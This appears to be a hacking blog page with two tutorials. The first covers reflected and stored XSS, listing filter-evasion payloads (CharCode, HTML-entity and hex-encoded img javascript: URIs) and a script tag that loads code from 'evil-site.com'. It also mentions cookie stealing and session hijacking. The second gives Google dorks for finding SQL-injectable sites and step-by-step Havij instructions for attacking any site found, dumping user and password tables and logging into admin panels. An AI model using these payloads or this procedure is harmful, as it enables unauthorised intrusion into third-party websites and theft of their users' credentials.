Non Persistent XSS attack

Non Persistent XSS attack

The next type of loophole is the most common type of XSS vulnerability. It is used to reflect a non-persistent vulnerability. This happens when data provided by a web user is immediately used by any scripts on the server to create results which are displayed to the client, as is commonly seen with search box or text box. When user-delivered data is not verified, some results could include a client-side script that is launch in the browser instead of HTML.

Inurl:.com/search.php?search=

Inurl: /search.php?search=

Inurl:/search

Site.com/search.php?search=<font color=red>jaggi</font>

Site.com/search.php?search=<script>alert("jaggi");</script>

          If no sanitation checks are being performed by the search script, this will just be echoed straight onto the page, therefore displaying an alert or red text. If there was no limit to the size, this could be used to display anything you want.

           However, since the attacker can only display code on their own pages, this isn't much of a threat to other users. Although if the string was turned into Hex the search string may be slightly more hidden and with a little deception could be used to trick users into thinking the link is legitimate.

         Again as the name suggests, this is the type of XSS attack the attacker would want to get. Persistent attacks are injected permanently into the code of the site, so anyone who views the site will be able to see permanently. In order for these to work, the code has to be made to store itself on the sites server somehow, which can be hard to find.

               An embarrassing example of this was an XSS vulnerability discovered on this site by one of our users (fixed now, obviously) affecting the page all.php. The register process wasn't sanitized at all, so all a user had to do was simply register with a username containing HTML or JavaScript code. This was an obvious vulnerability which should have been spotted from the beginning, but just like XSS on other sites it was missed. If not fixed, this vulnerability would effect all.php as well as the forums and anywhere where the username was displayed on the site. A good place to look out for this vulnerability is basic forum scripts that site owners have made themselves or found off sites designed to help novices.

                  With both of these attacks, it is also possible to run malicious code from another site again making the possibilities of attack endless. Javascript has a lot of features the are not well known, such as changing the images on sites from mages[number].src and anyone who uses myspace will know the CSS can be used to remove or replace certain sections of a site based on name. If you have a permanently vulnerable site, injecting code as simple as the one below will allow you to run XSS off another site:

<SCRIPT SRC=http://evil-site.com/xss.js> </SCRIPT>

Getting Past Basic Protection

So what if a site owner knows about XSS, but has provided some but very little protection against it? Well, this is where Char Code comes in. Char code is basically just a simple form of character encoding that can encode blocked characters so they get past the protection but still get displayed normally on the page. Here is a very common one that will pop up alerts saying "XSS" if it is vulnerable:

';alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>

This is a very useful XSS to know, as it provides more than one type of attack at once. If you get only one or two alerts, you know that only one of two of them work, so you need to try to eliminate some of them to text which one is affecting the site. The CharCode for "X" is 88 and "S" is 83. As you can see, each provides a slight variation to try to beat character blocking.

XSS could also be hidden in a none existent image. This code below would run malicious JavaScript disguised as an image:

<img src="javascript:alert('jaggi');">

What if quotes are blocked? No problem, just inject the site like so:

<img src=javascript:alert(&quot;XSS&quot;)>

The &quot; will be interpreted in html as a " so the code will run fine. The next one below is very likely to work if you find a site is vulnerable.

<img src=javascript:alert(String.fromCharCode(88,83,83))>

The XSS is hidden in image form and CharCode is being used to display the XSS vulnerability.

Now things get slightly more complicated as we enter ASCII and Unicode. Unicode is just a basic code that was invented to allow all characters to be available to everyone e.g. for different languages such as chinese character symbols. And ASCII has a similar purpose. You can go to http://www.asciitable.com to view the HTML code needed for ASCII code. This below shows the whole code in ASCII form:

<img src=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

As you can tell, this will beat many filters as the code is basically unrecognisable. However, translating the code can display what it was designed to do. Next for Unicode, again this makes the text unrecognisable but works the same:

<img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041>

If the site has a limited amount of characters allowed, this probably won't be useful. As mentioned previously, hex can also be used for XSS. The example below shows this:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69 &#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27 &#x58&#x53&#x53&#x27&#x29>

Again unrecognisable which makes it a great XSS to use.

The list of possible XSS attacks is endless and is far more than is covered here. With so many ways to bypass security checks site owners have to work harder to try to protect their sites. As well as web forms being used on most sites these days allowing users to enter code which will be stored somewhere and inevitably viewed by someone else XSS can be used for almost anything. With practise XSS can be used to run a hidden cookie stealer which a user will view and allow you to steal their login info or if sessions are used perform "session hijacking" where you steal their session data and again log in as them. To the simple defacement of a website through HTML or Javascript. XSS is definitely an attack method which should be studied well as it provides such a common method of attack.

As mentioned above, the list of possible XSS attacks is endless, there isn't enough room to mention them here, but I will finish with some more XSS examples that may effect a vulnerable site.

Filters Of XSS

public static function Xss::filter

Read More

Hack WebSite's - Admin login Using Havij

Hi Friends in this Tutorial i will Tell you How to Hack Web Sites With Sql Injection tool, there are large amount of sql vulnerable sites available.

Google Dorks: Google dorks are specifically query's that can reveal all the information about the specific website. I am giving you some Google dorks which you can use for finding the website vulnerable to sql injection.

    addToCart.php?idProduct=

    addtomylist.php?ProdId=

    add-to-cart.php?ID=

    adminEditProductFields.php?intProdID=

    advSearch_h.php?idCategory=

    affiliate.php?ID=

    affiliate-agreement.cfm?storeid=

    affiliates.php?id=

    ancillary.php?ID=

    archive.php?id=

    article.php?id=

    phpx?PageID

    basket.php?id=

    Book.php?bookID=

    book_list.php?bookid=

    book_view.php?bookid=

    BookDetails.php?ID=

Finding target:

1) Now just paste any one of the query in Google search box you will get a lot of websites.

2) Now open any of the website so you will get the link like this.
    www.example/index.php?id=12 or any number

3) We have to just add a single quote (') at the end of link so it will become some thing like this.
    www.example.com/index.php?id=12'

4) Look closely at the page before adding single quote (') and after adding single quote (') . If the some element of the page is missing then Bingo!!! you have found a vulnerable website. Now we can start our sql injection. And if the page remains the same or show's error like page not found then it is not vulnerable and you should move to another website. 

Now we have our target ready so what are you waiting for just attack.

1) First of all download Havij 1.15 

                                           Download Havij

2) Now extract it and run it. It will look some thing like this.

3) Now paste your target in the highlighted box. And click analyze.

4) Let it analyze your target for some time. and then you will see something like this.

5) Now click on "Tables" tab. You will see something like this.

6) Now click on "Get DBs" ( Make sure you have tick-marked on the first option, let it be anything ). Now wait for about a minute you will some thing like this.

7) Now tick-mark both the option's. And click on "Get Tables". And wait for some 2-3 minutes. You will get a lot of information from this. It'll look something like this.

8) Now search something sensitive like admin, users, login, passwords, and many more. Tick-mark them and click on "Get Columns". You will see something like this.

9) Now there you have user_id, password, user_name. Now tick-mark them and select "Get Data". You will see something like this.

10) Now find admin panel. And login using the user_id and password found.

Read More